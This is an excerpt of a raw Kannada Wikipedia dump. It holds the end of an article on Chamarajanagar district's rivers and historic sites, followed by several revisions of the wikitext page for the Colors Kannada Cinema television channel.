ಕಬಿನಿ, ಗುಂಡ್ಲು ನದಿಗಳು ಜಿಲ್ಲೆಯಲ್ಲಿ ಹರಿಯುವ ಕಾವೇರಿ ನದಿಯ ಉಪನದಿಗಳಾಗಿವೆ. ಇವುಗಳಿಗೆ ಅಲ್ಲಲ್ಲಿ ಅಣೆಕಟ್ಟೆ ನಿರ್ಮಿಸಲಾಗಿದೆ. ಜೀವನದಿ ಕಾವೇರಿ ೧೧೦ ಕಿ.ಮೀ. ದೂರವನ್ನು ಕ್ರಮಿಸಿ, ಗಗನಚುಕ್ಕಿ, ಭರಚುಕ್ಕಿ ಜಲಪಾತ ಸೃಷ್ಟಿಸಿ ೧೯೦೨ ರಲ್ಲಿ ಏಷ್ಯಾದ ಮೊದಲ ಜಲವಿದ್ಯುತ್ ತಯಾರಿಕೆ ನೆಲೆಯಾಗಿದ್ದು ಇದೇ ಜಿಲ್ಲೆಯಲ್ಲಿ. ಮುಂದೆ ಮಹದೇಶ್ವರ ಬೆಟ್ಟದಿಂದ ೫೦ ಕಿ.ಮೀ ಅಂತರದಲ್ಲಿರುವ ಹೊಗೆನಕಲ್ ಜಲಪಾತ ನೈಸರ್ಗಿಕ ಶಿಲೆಗಳನ್ನು ಸೃಷ್ಟಿಸಿದೆ. ರಾಜ್ಯ, ರಾಷ್ಟ್ರ, ವಿದೇಶಿಯರ ಆಕರ್ಷಣೀಯ ನೈಸರ್ಗಿಕ ಜಲಪಾತಗಳು ಇಲ್ಲಿನ ವೈಶಿಷ್ಟ್ಯ *ಗಂಗರು, *ಹೊಯ್ಸಳರು, *ವಿಜಯನಗರ, *ಮೈಸೂರರಸರ ಕಲಾವೈಭವವನ್ನು ಚಾಮರಾಜನಗರದ ಬಳಿ ಇರುವ *ನರಸಮಂಗಲ, *ಹರದನಹಳ್ಳಿ, ಶಿಲಾಶಾಸನ, ಗುಂಡ್ಲುಪೇಟೆ ತಾಲೂಕಿನಲ್ಲಿ ಕಂಡುಬರುವ ವರಹಾವಾಸುದೇವ *ಮಂದಿರ,* ಹುಲುಗನ ಮೊರಡಿ,* ಹಿಮವದ್ ಗೋಪಾಲಸ್ವಾಮಿ ಬೆಟ್ಟ,* ಯಳಂದೂರಿನ ಬಳೇಮಂಟಪ,* ಜಹಾಗಿರ್‌ದಾರ್ ಬಂಗಲೆ, ಕೊಳ್ಳೆಗಾಲದ ಬಳಿಯ ಮಧ್ಯರಂಗ ಇಲ್ಲಿನ ಐತಿಹಾಸಿಕ ಕುರುಹುಗಳಾಗಿವೆ. *ಅನು *ಮನು #ನುಮ್ಬೆರ್ #ಮುಧ್ಲ್ಕ್ಘ್ದ್ದ್ 6hnu50n0rc9ev5bzacexe3uqcaxrnj2 ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ 0 144832 1116513 1116383 2022-08-23T15:45:02Z Ishqyk 76644 Ishqyk [[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ]] ಪುಟವನ್ನು [[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] ಕ್ಕೆ ಸರಿಸಿದ್ದಾರೆ: Spelling mistake wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ|logo=|logo_size=|logo_alt=|launch_date=|owner=ವಿಯಾಕಾಂ 18|network=|key_people=|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ಣಾಟಕ]], [[ಭಾರತ]]|country=[[ಭಾರತ]]|picture_format=|sister_channels=|website=|launch={{Start date|df=yes|2018|9|24}}|logofile=|picture format=576i (16:9 ಮತ್ತು 4:3)|sister names={{Collapsible list | list_style = text-align:left; | 1 = <br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ಕಲರ್ಸ್ ಟಿವಿ]]<br />[[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್]]<br />[[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್]]<br /> [[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ ]]<br />[[ಎಂಟಿವಿ ಇಂಡಿಯಾ|ಎಂ ಟಿವಿ]]<br />[[ಎಂಟಿವಿ ಇಂಡೀಸ್]]<br />[[ವಿಹೆಚ್1 ಭಾರತ|ವಿಹೆಚ್1]]<br />[[ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್ (ಭಾರತ)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]]<br /> [[ಕಲರ್ಸ್ ಮರಾಠಿ]]<br />[[ಕಲರ್ಸ್ ಗುಜರಾತಿ]]<br /> [[ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ]]<br /> [[ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ]]<br /> [[ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ]]<br /> [[ಕಲರ್ಸ್ ರಿಷ್ಟೆ]]<br /> [[ಕಲರ್ಸ್ ಒಡಿಯಾ]]<br />[[ನ್ಯೂಸ್ 18 ಉರ್ದು]]<br />[[ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ]]<br />[[ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್]]<br />[[ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ]]<br />[[ನಿಕೆಲೋಡಿಯನ್ ಇಂಡಿಯಾ|ನಿಕ್]]<br />[[ನಿಕ್ ಜೂನಿಯರ್ ಇಂಡಿಯಾ|ನಿಕ್ ಜೂನಿಯರ್]]<br />[[ಟೀನ್ ನಿಕ್ ಇಂಡಿಯಾ|ಟೀನ್ ನಿಕ್]]<br />[[ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್]]<br />[[ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18]]<br />[[ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ ]]<br />[[ಕಲರ್ಸ್ ತಮಿಳು]] }}}} '''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ''' ಭಾರತೀಯ ದೂರದರ್ಶನ ಚಲನಚಿತ್ರ ವಾಹಿನಿಯಾಗಿದ್ದು, ವಯಾಕಾಮ್ 18 ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಚಲನಚಿತ್ರಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. ಚಾನಲ್ ಅನ್ನು 24 ಸೆಪ್ಟೆಂಬರ್ 2018 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು ವಿಯಾಕಾಂ 18 ನಿಂದ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನಲ್ ಆಗಿದೆ. <ref>[http://www.newindianexpress.com/business/2018/sep/11/viacom18-ups-regional-play-launches-new-channel-colors-kannada-cinema-1870444.amp Viacom18 ups regional play, launches new channel Colors Kannada Cinema]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist}}  [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡದ ಸಿನೆಮಾ ವಾಹಿನಿ]] 64813r4t71ow6o9bekypdyl8t73zwb2 1116516 1116513 2022-08-23T15:47:26Z Ishqyk 76644 wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ|logo=|logo_size=|logo_alt=|launch_date=|owner=ವಿಯಾಕಾಂ 18|network=|key_people=|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ಣಾಟಕ]], [[ಭಾರತ]]|country=[[ಭಾರತ]]|picture_format=|sister_channels=|website=|launch={{Start date|df=yes|2018|9|24}}|logofile=|picture format=576i (16:9 ಮತ್ತು 4:3)|sister names={{Collapsible list | list_style = text-align:left; | 1 = <br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ಕಲರ್ಸ್ ಟಿವಿ]]<br />[[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್]]<br />[[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್]]<br /> [[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ ]]<br />[[ಎಂಟಿವಿ ಇಂಡಿಯಾ|ಎಂ ಟಿವಿ]]<br />[[ಎಂಟಿವಿ ಇಂಡೀಸ್]]<br />[[ವಿಹೆಚ್1 ಭಾರತ|ವಿಹೆಚ್1]]<br />[[ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್ (ಭಾರತ)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]]<br /> [[ಕಲರ್ಸ್ ಮರಾಠಿ]]<br />[[ಕಲರ್ಸ್ ಗುಜರಾತಿ]]<br /> [[ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ]]<br /> [[ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ]]<br /> [[ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ]]<br /> [[ಕಲರ್ಸ್ ರಿಷ್ಟೆ]]<br /> [[ಕಲರ್ಸ್ ಒಡಿಯಾ]]<br />[[ನ್ಯೂಸ್ 18 ಉರ್ದು]]<br />[[ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ]]<br />[[ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್]]<br />[[ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ]]<br />[[ನಿಕೆಲೋಡಿಯನ್ ಇಂಡಿಯಾ|ನಿಕ್]]<br />[[ನಿಕ್ ಜೂನಿಯರ್ ಇಂಡಿಯಾ|ನಿಕ್ ಜೂನಿಯರ್]]<br />[[ಟೀನ್ ನಿಕ್ ಇಂಡಿಯಾ|ಟೀನ್ ನಿಕ್]]<br />[[ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್]]<br />[[ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18]]<br />[[ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ ]]<br />[[ಕಲರ್ಸ್ ತಮಿಳು]] }}}} '''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ''' ಭಾರತೀಯ ದೂರದರ್ಶನ ಚಲನಚಿತ್ರ ವಾಹಿನಿಯಾಗಿದ್ದು, [[ವಿಯಾಕಾಂ 18]] ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಚಲನಚಿತ್ರ|ಚಲನಚಿತ್ರಗಳನ್ನು]] ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. ಚಾನಲ್ ಅನ್ನು 24 ಸೆಪ್ಟೆಂಬರ್ 2018 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು [[ವಿಯಾಕಾಂ 18]] ನಿಂದ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನಲ್ ಆಗಿದೆ. <ref>[http://www.newindianexpress.com/business/2018/sep/11/viacom18-ups-regional-play-launches-new-channel-colors-kannada-cinema-1870444.amp Viacom18 ups regional play, launches new channel Colors Kannada Cinema]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist}}  [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡದ ಸಿನೆಮಾ ವಾಹಿನಿ]] 0av7myonznaxv7xgmewpb4whn49l6iw 1116517 1116516 2022-08-23T15:47:53Z Ishqyk 76644 wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ|logo=|logo_size=|logo_alt=|launch_date=|owner=[[ವಿಯಾಕಾಂ 18]]|network=|key_people=|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ಣಾಟಕ]], [[ಭಾರತ]]|country=[[ಭಾರತ]]|picture_format=|sister_channels=|website=|launch={{Start date|df=yes|2018|9|24}}|logofile=|picture format=576i (16:9 ಮತ್ತು 4:3)|sister names={{Collapsible list | list_style = text-align:left; | 1 = <br />[[ಕಲರ್ಸ್ ಕನ್ನಡ ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ಕಲರ್ಸ್ ಟಿವಿ]]<br />[[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್]]<br />[[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್]]<br /> [[ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ ]]<br />[[ಎಂಟಿವಿ ಇಂಡಿಯಾ|ಎಂ ಟಿವಿ]]<br />[[ಎಂಟಿವಿ ಇಂಡೀಸ್]]<br />[[ವಿಹೆಚ್1 ಭಾರತ|ವಿಹೆಚ್1]]<br />[[ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್ (ಭಾರತ)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]]<br /> [[ಕಲರ್ಸ್ ಮರಾಠಿ]]<br />[[ಕಲರ್ಸ್ ಗುಜರಾತಿ]]<br /> [[ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ]]<br /> [[ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ]]<br /> [[ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ]]<br /> [[ಕಲರ್ಸ್ ರಿಷ್ಟೆ]]<br /> [[ಕಲರ್ಸ್ ಒಡಿಯಾ]]<br />[[ನ್ಯೂಸ್ 18 ಉರ್ದು]]<br />[[ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ]]<br />[[ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್]]<br />[[ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ]]<br />[[ನಿಕೆಲೋಡಿಯನ್ ಇಂಡಿಯಾ|ನಿಕ್]]<br />[[ನಿಕ್ ಜೂನಿಯರ್ ಇಂಡಿಯಾ|ನಿಕ್ ಜೂನಿಯರ್]]<br />[[ಟೀನ್ ನಿಕ್ ಇಂಡಿಯಾ|ಟೀನ್ ನಿಕ್]]<br />[[ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್]]<br />[[ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18]]<br />[[ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ ]]<br />[[ಕಲರ್ಸ್ ತಮಿಳು]] }}}} '''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ''' ಭಾರತೀಯ ದೂರದರ್ಶನ ಚಲನಚಿತ್ರ ವಾಹಿನಿಯಾಗಿದ್ದು, [[ವಿಯಾಕಾಂ 18]] ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಚಲನಚಿತ್ರ|ಚಲನಚಿತ್ರಗಳನ್ನು]] ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. ಚಾನಲ್ ಅನ್ನು 24 ಸೆಪ್ಟೆಂಬರ್ 2018 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು [[ವಿಯಾಕಾಂ 18]] ನಿಂದ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನಲ್ ಆಗಿದೆ. <ref>[http://www.newindianexpress.com/business/2018/sep/11/viacom18-ups-regional-play-launches-new-channel-colors-kannada-cinema-1870444.amp Viacom18 ups regional play, launches new channel Colors Kannada Cinema]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist}}  [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡದ ಸಿನೆಮಾ ವಾಹಿನಿ]] d0tkc8paqo20uazrgwqqrx847xmu0yr 1116587 1116517 2022-08-24T08:04:53Z Ishqyk 76644 wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ|logo=|logo_size=|logo_alt=|launch_date=|owner=[[ವಿಯಾಕಾಂ 18]]|network=|key_people=|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ಣಾಟಕ]], [[ಭಾರತ]]|country=[[ಭಾರತ]]|picture_format=|sister_channels=|website=|launch={{Start date|df=yes|2018|9|24}}|logofile=|picture format=576i (16:9 ಮತ್ತು 4:3)|sister names={{Collapsible list | list_style = text-align:left; | 1 =[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು }}}} '''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ''' ಭಾರತೀಯ ದೂರದರ್ಶನ ಚಲನಚಿತ್ರ ವಾಹಿನಿಯಾಗಿದ್ದು, [[ವಿಯಾಕಾಂ 18]] ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಚಲನಚಿತ್ರ|ಚಲನಚಿತ್ರಗಳನ್ನು]] ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. ಚಾನಲ್ ಅನ್ನು 24 ಸೆಪ್ಟೆಂಬರ್ 2018 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು [[ವಿಯಾಕಾಂ 18]] ನಿಂದ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನಲ್ ಆಗಿದೆ. <ref>[http://www.newindianexpress.com/business/2018/sep/11/viacom18-ups-regional-play-launches-new-channel-colors-kannada-cinema-1870444.amp Viacom18 ups regional play, launches new channel Colors Kannada Cinema]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist}}  [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡದ ಸಿನೆಮಾ ವಾಹಿನಿ]] eggbv8gxvmo1xooj0lh04hmzj61kys0 1116606 1116587 2022-08-24T09:22:03Z Ishqyk 76644 /* ಉಲ್ಲೇಖಗಳು */ wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ|logo=|logo_size=|logo_alt=|launch_date=|owner=[[ವಿಯಾಕಾಂ 18]]|network=|key_people=|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ಣಾಟಕ]], [[ಭಾರತ]]|country=[[ಭಾರತ]]|picture_format=|sister_channels=|website=|launch={{Start date|df=yes|2018|9|24}}|logofile=|picture format=576i (16:9 ಮತ್ತು 4:3)|sister names={{Collapsible list | list_style = text-align:left; | 1 =[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು }}}} '''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ''' ಭಾರತೀಯ ದೂರದರ್ಶನ ಚಲನಚಿತ್ರ ವಾಹಿನಿಯಾಗಿದ್ದು, [[ವಿಯಾಕಾಂ 18]] ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಚಲನಚಿತ್ರ|ಚಲನಚಿತ್ರಗಳನ್ನು]] ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. ಚಾನಲ್ ಅನ್ನು 24 ಸೆಪ್ಟೆಂಬರ್ 2018 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು [[ವಿಯಾಕಾಂ 18]] ನಿಂದ ಮೊದಲ ಪ್ರಾದೇಶಿಕ ಚಲನಚಿತ್ರ ಚಾನಲ್ ಆಗಿದೆ. <ref>[http://www.newindianexpress.com/business/2018/sep/11/viacom18-ups-regional-play-launches-new-channel-colors-kannada-cinema-1870444.amp Viacom18 ups regional play, launches new channel Colors Kannada Cinema]</ref> == ಉಲ್ಲೇಖಗಳು == {{Reflist}}  [[ವರ್ಗ:ವಿಯಾಕಾಂ 18 ಒಡೆತನದ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ:ಕನ್ನಡದ ಸಿನೆಮಾ ವಾಹಿನಿ]] [[ವರ್ಗ::ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] m86c9jt7ti6wm618vjq7h57e6cram44 1116607 1116606 2022-08-24T09:22:18Z Ishqyk 76644 wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ|logo=|logo_size=|logo_alt=|launch_date=|owner=[[ವಿಯಾಕಾಂ 18]]|network=|key_people=|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ಣಾಟಕ]], [[ಭಾರತ]]|country=[[ಭಾರತ]]|picture_format=|sister_channels=|website=|launch={{Start date|df=yes|2018|9|24}}|logofile=|picture format=576i (16:9 ಮತ್ತು 4:3)|sister names={{Collapsible list | list_style = text-align:left; | 1 =[[ಕಲರ್ಸ್ ಕನ್ನಡ]]<br />[[ಕಲರ್ಸ್ ಸೂಪರ್]]<br />[[ನ್ಯೂಸ್ 18 ಕನ್ನಡ]] <br/>ಕಲರ್ಸ್ ಟಿವಿ <br/> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ <br />ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ <br /> ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್ಹಿಟ್ಸ್ <br />ಎಂ ಟಿವಿ <br/> ಎಂಟಿವಿ ಇಂಡೀಸ್<br /> ವಿಹೆಚ್ 1<br />ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್<br /> ಕಲರ್ಸ್ ಮರಾಠಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ<br />ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ<br /> ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ<br />ಕಲರ್ಸ್ ರಿಷ್ಟೆ<br /> ಕಲರ್ಸ್ ಒಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಉರ್ದು<br />ನ್ಯೂಸ್ 18 ಇಂಡಿಯಾ<br />ನ್ಯೂಸ್ 18 ಬಿಹಾರ-ಜಾರ್ಖಂಡ್<br />ನ್ಯೂಸ್ 18 ಬಾಂಗ್ಲಾ<br />ನಿಕ್ <br /> ನಿಕ್ ಜೂನಿಯರ್<br />ಟೀನ್ ನಿಕ್<br />ಸೋನಿಕ್-ನಿಕಲೋಡಿಯನ್<br />ಸಿಎನ್ಎನ್-ನ್ಯೂಸ್18<br />ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ <br />ಕಲರ್ಸ್ ತಮಿಳು }}}} '''ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ''' ಭಾರತೀಯ ದೂರದರ್ಶನ ಚಲನಚಿತ್ರ ವಾಹಿನಿಯಾಗಿದ್ದು, [[ವಿಯಾಕಾಂ 18]] ಒಡೆತನದಲ್ಲಿದೆ, ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಚಲನಚಿತ್ರ|ಚಲನಚಿತ್ರಗಳನ್ನು]] ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. 